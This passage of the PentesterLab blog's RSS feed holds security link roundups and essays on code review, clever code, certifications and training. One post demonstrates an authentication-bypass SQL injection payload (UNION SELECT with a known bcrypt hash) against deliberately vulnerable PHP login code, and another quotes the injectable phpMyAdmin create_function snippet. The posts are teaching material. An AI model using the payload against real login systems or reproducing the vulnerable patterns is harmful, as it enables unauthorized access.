             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📚 </span> Friends don’t let friends reuse nonces</h5>
            <p> A great article on Nonce reuse with visual representations of this issue from the team at Trail of Bits: <a  target="_blank" href="https://blog.trailofbits.com/2024/09/13/friends-dont-let-friends-reuse-nonces">Friends don’t let friends reuse nonces</a>.</p>

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🧛 </span> Defend against vampires with 10 gbps network encryption</h5>
             <p>Another great article from the team at Synacktiv: <a target="_blank" href="https://www.synacktiv.com/publications/defend-against-vampires-with-10-gbps-network-encryption">Defend against vampires with 10 gbps network encryption</a>.</p>    
 

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📖 </span> Watch the Typo: Our PoC Exploit for Typosquatting in GitHub Actions</h5>
             <p>What happens when Typosquatting meets Github Actions? <a target="_blank" href="https://orca.security/resources/blog/typosquatting-in-github-actions/">Watch the Typo: Our PoC Exploit for Typosquatting in GitHub Actions</a>.</p>    
 
               <h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">👉 </span> AppSec eZine #552</h5>
              <p>AppSec eZine is back with <a href="https://pathonproject.com/zb/?ec73537f2e2d4de0#Hmb4lUU6oyBFbm3QMe+ySSGXs/ulcgi0tUW9Owm+EmQ=" target="_blank">issue #552</a>.</p>
          </div>



]]>
      </description>
      <pubDate>Sun, 15 Sep 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week37-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week37-2024</guid>
    </item>
    <item>
      <title>OR 1=1 -- is Dying</title>
      <description>
        <![CDATA[


<div>
  <p class="mb-0">One of the classic examples of SQL Injection is using <code class="code-alt">' or 1=1 -- </code> in a username to bypass the authentication of a web application. In this blog post, we are going to cover why this classic method is, unfortunately, unlikely to work nowadays…</p>

  <p>Once upon a time, many web applications used code like the following to perform authentication and were vulnerable to SQL Injections: </p>
<pre><code class="language-php">  function login($user, $password) {
    $sql = "SELECT * FROM users where login='";
    $sql.= $user;
    $sql.= "' and password='";
    $sql.= md5($password);
    $sql.= "'";
    $result = mysql_query($sql);

    if ($result) {
      $row = mysql_fetch_assoc($result);
      if (isset($row['login'])) {
        return TRUE;
      }
    }
    return FALSE;
  }</code></pre>

<p>You may have seen some variants with a salted hash, <code class="code-alt">sha</code> instead of <code class="code-alt">md5</code>. Regardless of what was used, the pattern stays the same: a single query to match a record in the database. If the query returns a result, you're in. If the query fails or doesn't return a result, you are not in. </p>


<p>Nowadays, due to new hashing algorithms that rely on having the salt as part of the password, developers can no longer use this pattern and you can no longer have: </p>
<pre><code class="language-php">
  function login($user, $password) {
    $sql = "SELECT * FROM users where login='";
    $sql.= $user;
    $sql.= "' and password='";
    $sql.= password_hash("password", PASSWORD_BCRYPT);
    $sql.= "'";
    ...</code></pre>

<p>Since running <code>password_hash()</code> will always return a different result: </p>

<pre><code class="language-php">php &gt; echo password_hash("password", PASSWORD_BCRYPT);
$2y$10$1N09lsGGGwZwAmNGFWVTluYjZcSccMjygCyZHTSpZTyW7OUdioxce
php &gt; echo password_hash("password", PASSWORD_BCRYPT);
$2y$10$k/yJ959L5sozh69AfhaFS.NLf.4g7aEJTZjdN2paH7YefetUXr4t2
php &gt; echo password_hash("password", PASSWORD_BCRYPT);
$2y$10$yEJwS.d2CYjzcEBxP68kz.KegiaURZQqmWIQ62FUq7wHPo7TTzofm
php &gt; echo password_hash("password", PASSWORD_BCRYPT);
$2y$10$cTdWhvjrUMk3zKSat1lHJe7Mbqn8yH1f71PdC0e/2Q0GZJ09q2Ose</code></pre>



The code now usually consists of two steps:
<ol>
   <li>Retrieving the user's record</li>
   <li>Verifying the user's password</li>
</ol>


<p>Something along the lines of  this (keeping the SQL injection):</p>
<pre><code class="language-php">  function login($user, $password) {
  global  $conn;
  $sql = "SELECT * FROM users where login='";
  $sql.= $user;
  $sql.= "'";

  if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
  }
  $result = $conn->query($sql);

  if ($result) {
    $row = $result->fetch_assoc();
    if (isset($row['login']) and isset($row['password'])) {
      return password_verify($password, $row['password']);
    }
  }
  return FALSE;
}  </code></pre>

<p>Now what? Well the exploitation is a little bit different. What we need to do is return a result from the database that contains the hash of a password we know. To do that, we can use something like: </p>

<pre><code class="language-sql">hacker' and 0=1 UNION SELECT 1, 'admin', '$2y$10$cTdWhvjrUMk3zKSat1lHJe7Mbqn8yH1f71PdC0e/2Q0GZJ09q2Ose' -- </code></pre>

Our final query will become

<pre><code class="language-sql">SELECT * FROM users where login='hacker' and 0=1 UNION SELECT 1, 'admin', '$2y$10$cTdWhvjrUMk3zKSat1lHJe7Mbqn8yH1f71PdC0e/2Q0GZJ09q2Ose' -- '</code></pre>

<p>Let's look at what is happening: </p>
<ul>
   <li><code class="code-alt">SELECT * FROM users where login='hacker' and 0=1</code> ensures the first part of the existing query is ignored. Thanks to <code class="code-alt"> and 1=0</code>, which always returns <code class="code-alt">false </code>. This ensures the next row (the one coming from our <code class="code-alt">UNION SELECT</code>) becomes the first row.</li>
   <li><code class="code-alt">UNION SELECT </code> allows us to add a row after the empty row we just created using the trick <code class="code-alt"> and 1=0</code>. </li>
   <li><code class="code-alt">1, 'admin', '$2y$10$cTdWhvjrUM...se'</code> creates a row with the username <code class="code-alt">admin</code> and the password <code class="code-alt">password</code> (you may need to adjust the number of columns to match the one in the first part of the query)</li>
   <li>Finally, <code class="code-alt"> -- </code>  is used to comment out the rest of the existing SQL statement</li>
</ul>

<p>I hope this blog post gave you a clearer picture of why some of your classic SQL injection payloads might not work as expected these days and offered some insight into how you can adapt and bypass the newer security measures in place. As always, staying up-to-date with the latest techniques and understanding how modern defenses work is key to being successful in both protecting and testing web applications. </p>


<p>If you want to put these techniques into practice, we've created a challenge just for you. Check out our lab, <a href="/exercises/puzzle-05">Puzzle 05: Authentication Bypass via SQL Injections in Modern Web Applications</a>, and see if you can crack it!</p>
]]>
      </description>
      <pubDate>Fri, 13 Sep 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/or-1=1-is-dying</link>
      <guid>https://pentesterlab.com/blog/or-1=1-is-dying</guid>
    </item>
    <item>
      <title>Clever Developers, Costly Mistakes</title>
      <description>
        <![CDATA[<p>In the world of software development, the allure of writing clever code is strong. Developers, especially those who are highly skilled, often take pride in crafting intricate solutions that showcase their expertise. They might use advanced techniques like metaprogramming or implement complex rules engines to solve problems in novel ways. While this cleverness can be impressive, it comes with significant risks. When a clever developer makes a mistake, the impact is often severe—think remote code execution (RCE) rather than a simple bypass. Moreover, even if the clever developer never makes a mistake, their complex code can create significant challenges for future maintainers, leading to serious vulnerabilities. This is why, in many cases, the smartest choice is to write "dumb" code—code that is simple, easy to understand, and easy to maintain.</p>

<h5>The Risks of Clever Code</h5>
<p>Clever developers, by their very nature, tend to make fewer mistakes. Their deep understanding of programming languages, frameworks, and algorithms allows them to write highly optimized and efficient code. However, when they do make a mistake, it often has far-reaching consequences. This is because clever code tends to be complex, utilizing advanced techniques that are powerful but also more prone to subtle errors. For example, metaprogramming—a technique where code writes code—can be incredibly efficient, but if something goes wrong, it can lead to catastrophic vulnerabilities like RCE.</p>

<p>The problem is compounded when these clever developers move on to new projects or different jobs. At some point, someone else will need to maintain, modify, or improve the code they wrote. This maintainer might not have the same level of expertise or understanding of the intricate logic embedded in the code. As a result, they might miss something—a small detail that would have been obvious to the original developer but is obscure to anyone else. When this happens, the consequences can be severe. A piece of code that seemed flawless when it was written can become a ticking time bomb, waiting for the next maintainer to inadvertently introduce a vulnerability.</p>

<h5>A Classic Example: CVE-2008-4096 in phpMyAdmin</h5>
<p>A well-known example of this dynamic is CVE-2008-4096, a vulnerability in phpMyAdmin, a popular tool for managing MySQL databases. In this case, the vulnerability arose from the use of <code>create_function</code>, a feature in PHP that allows the creation of anonymous functions based on a string. This string was dynamically generated from user-controlled input, making it fully injectable and extremely dangerous. The developers had opted for a sophisticated approach, likely thinking it was more elegant or efficient. However, this complexity introduced significant risk.</p>

<p>Here’s a snippet of the code in question, where <code>$sort_by</code> is fully user-controlled:</p>

<pre class="php"><code>if ($GLOBALS['cfg']['NaturalOrder']) {<br>
&nbsp;&nbsp;$sorter = 'strnatcasecmp';<br>
} else {<br>
&nbsp;&nbsp;$sorter = 'strcasecmp';<br>
}<br>
<br>
/*  produces f.e.: */<br>
/*  return -1 * strnatcasecmp($a["SCHEMA_TABLES"], 
                              $b["SCHEMA_TABLES"]) */<br>
$sort_function = '<br>
&nbsp;&nbsp;return ' . ($sort_order == 'ASC' ? 
                        1 : -1) . ' * ' . $sorter . 
                        '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);<br>
';<br>
<br>
usort($databases, create_function('$a, $b', $sort_function));<br>
</code></pre>

<p>In this example, the dynamically generated code based on user input becomes a potential vector for code injection attacks. A simpler approach-using a few if/else statements in a function-could have achieved the same result without the added risk. However, the more sophisticated method was chosen, perhaps because it was seen as cooler or more powerful. Unfortunately, this decision opened the door to a serious security flaw. The vulnerability allowed attackers to inject arbitrary code, leading to a potentially devastating compromise of the system.</p>

<h5>Language Matters: Simplicity at the Language Level</h5>
<p>There is also a case to be made for choosing programming languages that prioritize simplicity and readability. Part of the original philosophy behind Golang, for instance, is to create a language that is easy for most programmers to understand. In contrast, languages like Perl, Ruby, or more esoteric ones like Scala, often encourage or allow for more complex and idiosyncratic code. While these languages can be powerful, they also tend to introduce "surprises"-unexpected behaviors that can be difficult for others to understand and maintain.</p>

<p>In this context, the security and productivity of the entire development team-and indeed the entire organization-should take precedence over the cleverness or productivity of a few "rockstar" developers. If everyone on the team, including operations and security, can easily understand and work with the code, the overall security and productivity of the project will be far higher. This is why using languages and writing code that minimizes surprises is so important: the security of the code as a whole, written, reviewed, and maintained by many, is far more valuable than the security of code written by a few individuals.</p>

<h5>Conclusion</h5>
<p>In the end, the goal of writing code is not just to solve a problem but to solve it in a way that is sustainable over the long term. While clever code can be impressive, it often introduces unnecessary risks. When those risks materialize, the impact can be devastating. On the other hand, "dumb" code—simple, maintainable, and easy to understand—minimizes those risks and ensures that the software remains secure and reliable, even as it evolves over time. Additionally, choosing programming languages that emphasize simplicity and readability can further enhance the security and maintainability of the codebase. The next time you're tempted to use a complex solution or a language that encourages clever tricks, consider whether a simpler approach might be the smarter choice. After all, in software development, sometimes the dumbest code is the smartest.</p>

]]>
      </description>
      <pubDate>Tue, 10 Sep 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/clever-developers</link>
      <guid>https://pentesterlab.com/blog/clever-developers</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 36/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>
              <p class="mb-0">This week again, we are publishing a list of research worth reading! Make sure you check it out!</p>
            </div>
            <div class="mb-5">

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">❤️  </span> CVE Hunting Made Easy</h5>
             <p>I really liked this article this week, grab some Wordpress plugins, run Semgrep, timeboxe your review of the results, get CVEs...  <a target="_blank" href="https://projectblack.io/blog/cve-hunting-at-scale/">CVE Hunting Made Easy</a>.</p>
                 
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤙</span> Why bother with argv[0]?</h5>
            <p> This article shows how something as simple as argv[0], the first command-line argument, can be used to sneak past security checks:  <a  target="_blank" href="https://www.wietzebeukema.nl/blog/why-bother-with-argv0"> Why bother with argv[0]?</a>.</p>

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🐧 </span> The Art of Exploiting Active Directory from Linux</h5>
            <p> Should you hack AD from Windows or Linux? This article provides some interesting insights on the subject  <a  target="_blank" href="https://gatariee.github.io/posts/the-art-of-exploiting-ad-from-linux/"> The Art of Exploiting Active Directory from Linux</a>.</p>


             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📖 </span> bhyve(8) privileged guest escape via TPM device passthrough</h5>
             <p>Here's an interesting FreeBSD advisory from the team at Synacktiv: <a target="_blank" href="https://www.freebsd.org/security/advisories/FreeBSD-SA-24:10.bhyve.asc">bhyve(8) privileged guest escape via TPM device passthrough</a></p>    
 
               <h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">👉</span> AppSec eZine #551</h5>
              <p>AppSec eZine is back with <a href="https://pathonproject.com/zb/?35a7d0ccea5c0ccf#24RkZHUKlSmZj1WAiSpa4n041KzWmyfzmM0/NLfyAok=" target="_blank">issue #551</a>.</p>
          </div>



]]>
      </description>
      <pubDate>Mon, 09 Sep 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week36-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week36-2024</guid>
    </item>
    <item>
      <title>Why Settle for a Bug When You Can Catch a Swarm?</title>
      <description>
        <![CDATA[           <div>
              <p class="mb-0">The discovery of a new bug or the analysis of a Common Vulnerabilities and Exposures (CVE) can often feel like a breakthrough. However, the true value of this discovery lies not only in addressing the individual issue but in understanding whether it is part of a larger set of related vulnerabilities — a "swarm". A swarm represents a group of similar vulnerabilities that share common patterns, root causes, or are located within the same area of the codebase. Identifying and addressing these swarms is crucial for effective vulnerability management and long-term security improvement.</p>

           </div>
<h5 class="fw-bold my-3">The Concept of a Swarm</h5>

<p>A swarm is essentially a collection of vulnerabilities that are interconnected by their underlying causes or patterns. These vulnerabilities might not be identical, but they often stem from similar coding errors, architectural flaws, or security oversights. The presence of a swarm indicates systemic issues within the codebase or the development process, suggesting that the vulnerabilities are not isolated incidents but symptoms of a broader problem.</p>

<p>When you discover a new vulnerability or analyze a CVE, it is essential to determine whether it belongs to a swarm. Failing to do so can lead to a false sense of security, where a single bug is fixed while others remain hidden, waiting to be exploited. Recognizing a swarm allows you to address the root causes more comprehensively, leading to a more secure and robust application.</p>

<h5 class="fw-bold my-3">Ways a Vulnerability Can Be Part of a Swarm</h5>

<p>There are several ways in which a vulnerability might be part of a swarm, each of which requires careful consideration during the discovery and remediation process:</p>

<h5 class="fw-bold my-3">1. Legacy Code</h5>

<p>One common scenario where swarms occur is within legacy code. These are parts of the codebase that have not been modified or reviewed for a long time, often predating the current security best practices or the project’s maturity. Legacy code can harbor multiple vulnerabilities, especially if it was written before security became a top priority. These areas of the codebase may have been overlooked during previous security audits or updates, allowing vulnerabilities to persist. In some cases, entire features may have been forgotten or abandoned, leaving them particularly vulnerable to exploitation.</p>

<h5 class="fw-bold my-3">2. Repeated Patterns</h5>

<p>Another way vulnerabilities can form a swarm is through repeated patterns of insecure code. These patterns often emerge due to a lack of understanding by the developers of how a particular function works, the threats the application may be exposed to, or the side effects some code might produce. For example, if a developer misunderstands how to properly sanitize input, they might introduce similar vulnerabilities in multiple parts of the application. These repeated patterns can spread across different modules or functions, making them harder to detect unless a comprehensive review is conducted. The presence of such patterns suggests a need for better developer education and more rigorous code reviews to catch these issues early.</p>

<p>Moreover, automation can play a crucial role in identifying swarms. By creating rules in your Static Application Security Testing (SAST) tools, you can automate the detection of repeated patterns in the code. This makes it easier to uncover swarms of related vulnerabilities. When a specific vulnerability pattern is found, it often indicates the presence of similar bugs elsewhere in the code. Automation helps systematically identify these related vulnerabilities, scaling the reviewer's efforts rather than dictating what they should focus on. This allows reviewers to concentrate on deeper analysis and more complex issues while ensuring that common patterns are not overlooked.</p>



<p>Analyzing CVEs is also important in this context. When you analyze a CVE, you not only learn about a specific bug but also gain insights into potential swarms. In my experience, I have discovered several swarms while reviewing CVEs, highlighting the importance of thorough analysis.</p>

<p>In a code review scenario, collaboration between junior and senior reviewers can be particularly effective in identifying swarms. For instance, a senior reviewer might identify a bug, and then a junior reviewer could be tasked with searching for related vulnerabilities. An example might be a senior noting that "the developers seem to misunderstand how to handle paths securely," prompting the junior to look for potentially insecure path manipulations throughout the codebase.</p>

<h5 class="fw-bold my-3">The Importance of Addressing Swarms</h5>

<p>Identifying and addressing swarms is crucial for several reasons. First, it allows for more comprehensive remediation. By recognizing that a vulnerability is part of a swarm, you can proactively search for and address other related issues, reducing the likelihood of future exploitation. This approach helps in closing security gaps that might otherwise remain open if only the initially discovered vulnerability is fixed.</p>

<p>Second, addressing swarms can lead to a deeper understanding of the root causes of security issues within the codebase. Instead of treating each vulnerability as an isolated incident, recognizing a swarm encourages a systemic approach to security, where underlying issues are identified and resolved. This not only improves the immediate security of the application but also helps prevent similar issues from arising in the future.</p>

<p>Lastly, identifying swarms can lead to more efficient use of resources. Security teams often have limited time and personnel to devote to vulnerability management. By focusing on swarms, they can prioritize their efforts on areas of the codebase that are more likely to contain multiple vulnerabilities, leading to a higher return on investment in terms of time and resources.</p>

<p>Swarms are also key for developer education. By analyzing the root causes, assumptions, or correlations between all the bugs in a swarm, you can address these issues in training sessions, brown bag meetings, or internal newsletters. This not only fixes the current issues but also helps prevent similar vulnerabilities from occurring in the future.</p>

<h5 class="fw-bold my-3">Conclusion</h5>

<p>When reviewing code or attacking web applications, the discovery of a vulnerability should never be viewed in isolation. By considering whether a newly discovered bug or CVE is part of a swarm, security professionals can take a more holistic approach to vulnerability management. This approach involves looking beyond individual vulnerabilities to identify broader patterns and root causes, leading to more effective and comprehensive remediation efforts. In doing so, organizations can significantly improve their overall security posture, reducing the risk of exploitation and ensuring the long-term security and reliability of their applications.</p>

]]>
      </description>
      <pubDate>Mon, 02 Sep 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/code-review-catch-a-swarm-instead-of-a-bug</link>
      <guid>https://pentesterlab.com/blog/code-review-catch-a-swarm-instead-of-a-bug</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 35/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>
              <p class="mb-0">This week again, we publish a list of research worth reading! Make sure you check it out!</p>
            </div>
            <div class="mb-5">

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">❤️  </span> BACK TO SCHOOL - EXPLOITING A REMOTE CODE EXECUTION VULNERABILITY IN MOODLE</h5>
             <p>If you can only read one article this week, this is DEFINITELY the one:  <a target="_blank" href="https://blog.redteam-pentesting.de/2024/moodle-rce/">BACK TO SCHOOL - EXPLOITING A REMOTE CODE EXECUTION VULNERABILITY IN MOODLE</a>.</p>
                 
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤙</span> Microsoft Copilot: From Prompt Injection to Exfiltration of Personal Information</h5>
            <p>If you like AI-attacks, make sure you check out this attack against Microsoft 365 Copilot: <a  target="_blank" href="https://embracethered.com/blog/posts/2024/m365-copilot-prompt-injection-tool-invocation-and-data-exfil-using-ascii-smuggling/">Microsoft Copilot: From Prompt Injection to Exfiltration of Personal Information</a>.</p>

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📖 </span> Is Telegram really an encrypted messaging app</h5>
             <p>With all the news around Telegram, it’s important to know exactly what security protections Telegram offers. If you want to get it right, read this article: <a target="_blank" href="https://blog.cryptographyengineering.com/2024/08/25/telegram-is-not-really-an-encrypted-messaging-app/">Is Telegram really an encrypted messaging app?</a></p>    
 
               <h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">👉</span> AppSec eZine #550</h5>
              <p>AppSec eZine is back with <a href="https://pathonproject.com/zb/?487a383bbafec26c#tU5ICP+ryI27hr5m5DNMNfyCnirm8h9OLXaNv3yklXE=" target="_blank">issue #550</a>.</p>
          </div>



]]>
      </description>
      <pubDate>Sun, 01 Sep 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week35-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week35-2024</guid>
    </item>
    <item>
      <title>The Certification Trap</title>
      <description>
        <![CDATA[
           <div>
              <p class="mb-0">I woke up this morning and saw that yet another certification is now available. You can now be "XYZ" certified! The exam seems pricey, but hey, that will definitely show that I'm good at hacking, right?</p> 
            </div>
            <p>This is the kind of message that bombards professionals in our field every day. The certification industry is booming, with new credentials popping up regularly, each promising to be the key to advancing your career. But have we stopped to consider what we’re really buying into?</p>
    <h5 class="fw-bold my-3">The Dangers of Turning Certifications into an HR Shortcut</h5>
          <p>The more we encourage the narrative that certifications are an "HR bypass," the more we solidify this problematic perception. By promoting certifications as a fast track to employment, we're inadvertently exacerbating the issue. In some countries, the cost of this so-called "bypass" can be as high as three months' salary, making it a significant financial burden.</p>
          <p>But here's the truth: hacking and security are about skills, expertise, and real-world experience—not about how much money you can throw at a certification. When the industry starts to prioritize certification over merit, it undermines the very foundation of what makes a good security professional.</p>
          <p>Certifications are, at best, just a snapshot of someone's skills at a particular moment in time. They don't tell you where the individual is in their journey. Is this just the beginning for them, with plenty of room for growth and development? Or have they hit a plateau, with the certification representing the peak of their abilities? A certificate doesn't provide insight into whether someone is going to continue improving or if they’ve already reached their limit. It’s a static measure in a dynamic field, where continuous learning and adaptation are crucial.</p>
 
    <h5 class="fw-bold my-3">The Pokémon Mentality</h5>
    
         <p>People have started to collect certifications like they collect Pokémons (<i>Gotta Catch 'Em All</i>). It’s become a comfortable pursuit—there’s no real risk involved. You either fail or you get the certification. If you fail, you can simply try again until you succeed. There’s a safety net, a guarantee that eventually, with enough attempts, you’ll add that shiny new certification to your collection.</p>
          <p>But this comfort comes at a cost. Unlike actual security research, where you don’t know if there’s something to be found, certifications offer a predetermined path. They don’t require the same level of creativity, problem-solving, or risk-taking. Too many people get trapped in this mindset, seeing their career as a checklist of certifications to obtain, rather than an opportunity to build something unique and impactful.</p>

    <h5 class="fw-bold my-3">The Problem with Generic Certification Advice</h5>
          <p>All too often, people looking to break into the security field are met with a generic list of certifications to "get started." Instead of offering a one-size-fits-all recommendation, we should be providing thoughtful, personalized advice. Don’t tell someone to get certifications XYZ just because they’re popular or seem like the logical first step.</p>
          <p>If someone has a background in web development, guide them towards "Web Hacking"—a natural extension of their existing skills. If they used to work in sales, suggest exploring social engineering, where their understanding of human interaction can give them an edge. For those with a history in network engineering, point them towards network security, where their existing knowledge will be invaluable.</p>
          <p>By tailoring advice to an individual’s background and strengths, we can help them build on what they already know, rather than pushing them towards a generic path that may not suit them. This approach not only fosters more meaningful growth but also encourages people to carve out their own unique place in the security field.</p>

    <h5 class="fw-bold my-3">Conclusion</h5>
          <p>The fixation on certifications as a measure of competence is leading us down a dangerous path. It’s turning the security industry into a field where the ability to pay for exams is mistaken for genuine expertise. Certifications are becoming more about collecting badges than developing real-world skills. We need to shift the focus back to what truly matters: the ability to think critically, solve complex problems, and continue growing beyond the limitations of a certification. Only then can we ensure that the field of security remains one where true merit is recognized, and real innovation thrives.</p>

]]>
      </description>
      <pubDate>Fri, 30 Aug 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/the-certification-trap</link>
      <guid>https://pentesterlab.com/blog/the-certification-trap</guid>
    </item>
    <item>
      <title>Secure Coding Training Versus Security Code Review Training</title>
      <description>
        <![CDATA[           <div>
              <p class="mb-0">In the field of application security, two crucial types of training often come up: secure coding training and security code review training. While both aim to improve the security of software, they focus on different aspects of the development process and are designed for distinct audiences. Understanding the differences between these two types of training is essential for organizations aiming to build robust and secure applications.</p>
            </div>

            <h5 class="fw-bold my-3">Secure Coding Training: Building with Security in Mind</h5>
Secure coding training is primarily aimed at developers. Its goal is to teach them how to write code that is inherently secure, reducing the likelihood of vulnerabilities being introduced during the development process. This type of training focuses on teaching best practices in secure software design and coding, ensuring that developers are aware of the common pitfalls and how to avoid them.</p>

              <p>Key topics covered in secure coding training typically include:</p>
<ul>
<li><b>Input Validation</b>: Ensuring that all user inputs are validated and sanitized to prevent common attacks like SQL injection and cross-site scripting (XSS).</li>
<li><b>Authentication and Authorization</b>: Implementing proper access controls to ensure that users can only access the data and functionality they are authorized to use.</li>
<li><b>Cryptography</b>: Understanding how to properly use cryptographic functions to protect sensitive data, both at rest and in transit.</li>
<li><b>Error Handling and Logging</b>: Ensuring that errors are handled gracefully without exposing sensitive information and that logging is done securely.</li>
<li><b>Security Features of Frameworks and Libraries</b>: Leveraging built-in security features provided by the development frameworks and libraries.</li>
</ul>


              <p>The primary audience for secure coding training is developers who are actively writing code. The focus is on prevention—teaching developers to think about security as they design and implement features. By learning secure coding practices, developers can minimize the introduction of vulnerabilities and ensure that the code they write is resilient to attacks.</p>

            <h5 class="fw-bold my-3">Security Code Review Training: Identifying Weaknesses in Existing Code</h5>

              <p>In contrast, security code review training is aimed at those who are responsible for assessing the security of existing code, such as security engineers, application security engineers, code reviewers, and sometimes even developers with a focus on auditing. This type of training teaches participants how to find security flaws in codebases, often by analyzing patterns, understanding the context in which code operates, and identifying deviations from best practices.</p>

              <p>Key topics covered in security code review training typically include:</p>

<ul>
<li><b>Manual Code Review Techniques</b>: Learning how to systematically analyze code for security vulnerabilities, such as insecure data handling, logic flaws, and improper use of cryptographic functions.</li>
<li><b>Pattern Recognition</b>: Understanding common patterns of insecure code and being able to recognize them in a large codebase.</li>
<li><b>Code Path Analysis</b>: Tracing the flow of data and control through the code to identify vulnerabilities that may not be apparent at first glance.</li>
<li><b>CVE Analysis</b>: Studying real-world examples of security vulnerabilities (CVEs) to understand how they manifest in code and how they can be detected.</li>
<li><b>Tool-Assisted Code Review</b>: Using tools to automate parts of the code review process while understanding their limitations and how to manually review code when tools fall short.</li>
</ul>

              <p>The focus in security code review training is on detection—finding vulnerabilities that have already been introduced into the codebase. This training requires a deep understanding of how software works, including knowledge of specific programming languages, frameworks, and potential attack vectors. Unlike secure coding training, which is more about applying best practices during development, security code review training is about critically analyzing existing code to uncover potential security issues.</p>

            <h5 class="fw-bold my-3">Audience and Outcomes</h5>
The differences in focus between secure coding training and security code review training lead to different outcomes:</p>

<ul>
<li><b>Secure Coding Training</b> prepares developers to write secure code from the outset, embedding security into the software development lifecycle. The outcome is code that is more secure by design, with fewer vulnerabilities making it into production.</li>
<li><b>Security Code Review Training</b> prepares security professionals to identify and mitigate security flaws in code that has already been written. The outcome is a stronger defense against vulnerabilities that could have been overlooked during the development process.</li>
</ul>

              <p>Both types of training are essential for a comprehensive application security program. Secure coding training lays the foundation for secure software, while security code review training acts as a critical checkpoint to catch any issues that may have slipped through. Together, they form a robust defense-in-depth strategy, ensuring that applications are both designed and implemented securely, and that any remaining flaws are identified and addressed before they can be exploited.</b>
              <p>If you are interested in <a href="/live-training/" target="_blank">Web Security Code Review Training</a>, make sure you check out <a href="/live-training/" target="_blank">upcoming live trainings</a>!</p>
            <p><b>Update</b>: We recently launched <a href="/live-training/" target="_blank">Secure Coding in Go</a>, a short, 3-hour course designed for developers who are already familiar with common web security issues and want to dive deeper into real vulnerabilities found in actual codebases. Check out our <a href="/live-training/" target="_blank">upcoming live trainings</a> to learn more!</p>

]]>
      </description>
      <pubDate>Thu, 29 Aug 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/secure-coding-vs-security-code-review</link>
      <guid>https://pentesterlab.com/blog/secure-coding-vs-security-code-review</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 34/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>
              <p class="mb-0">This week again, we publish a list of research worth reading! Make sure you check it out!</p>
            </div>
            <div class="mb-5">

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">❤️  </span> PHRACK IS BACK</h5>
             <p>The latest issue of Phrack is now available! That should keep you busy for a few days: <a target="_blank" href="http://phrack.org/issues/71/1.html">Phrack #71</a>.</p>

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📖 </span> OpenSSH Backdoors</h5>
             <p>A bit of OpenSSH history and modern days mix in this great article from Ben Hawkes: <a target="_blank" href="https://blog.isosceles.com/openssh-backdoors/">OpenSSH Backdoors</a>.</p>         
                 
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤙</span> “YOLO” is not a valid hash construction</h5>
            <p>If you like crypto-attacks like length extensions, you will love this article from the Trail of Bits team: <a  target="_blank" href="https://blog.trailofbits.com/2024/08/21/yolo-is-not-a-valid-hash-construction/">“YOLO” is not a valid hash construction</a>.</p>

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🍊 </span> Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!</h5>
             <p>It’s rare to come across some high quality content like this blog post from Orange Tsai on their research into Apache HTTPd: <a target="_blank" href="https://blog.orange.tw/posts/2024-08-confusion-attacks-en/">Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!</a></p>     
               <h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">👉</span> AppSec eZine #549</h5>
              <p>AppSec eZine is back with <a href="https://pathonproject.com/zb/?efb14e8a54f36090#l4JmqqfZmvhOlcMbub7HL1jKMIf86Kt6vFyCQ/y/8Gc=" target="_blank">issue #549</a>.</p>
          </div>



]]>
      </description>
      <pubDate>Sun, 25 Aug 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week34-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week34-2024</guid>
    </item>
    <item>
